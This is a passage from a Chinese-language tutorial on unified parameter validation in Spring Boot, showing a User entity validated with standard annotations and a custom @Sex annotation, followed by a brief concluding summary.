        return sexSet.contains(value);
    }
}

最后,在
User
实体类上加入一个性别参数,使用自定义注解进行校验!

public class User {

    @NotBlank(message = "用户名不能为空!")
    private String userName;

    @Email(message = "邮箱格式不正确")
    @NotBlank(message = "邮箱不能为空!")
    private String email;

    @NotBlank(message = "密码不能为空!")
    @Size(min = 8, max = 16,message = "请输入长度在8~16位的密码")
    private String userPwd;

    /**
     * 自定义注解校验
     */
    @Sex(message = "性别输入有误!")
    private String sex;

    // set、get方法等...
}

启动服务,重新请求,运行结果如下:

结果与预期一致!

五、总结

参数验证,在开发中使用非常频繁,如何优雅的进行验证,让代码变得更加可读,是业界大佬一直在追求的目标!

本文主要围绕在 Spring Boot 中实现参数统一验证进行相关的知识总结和介绍,如果有描述不对的地方,欢迎留言支持。

示例代码:
spring-boot-example-valid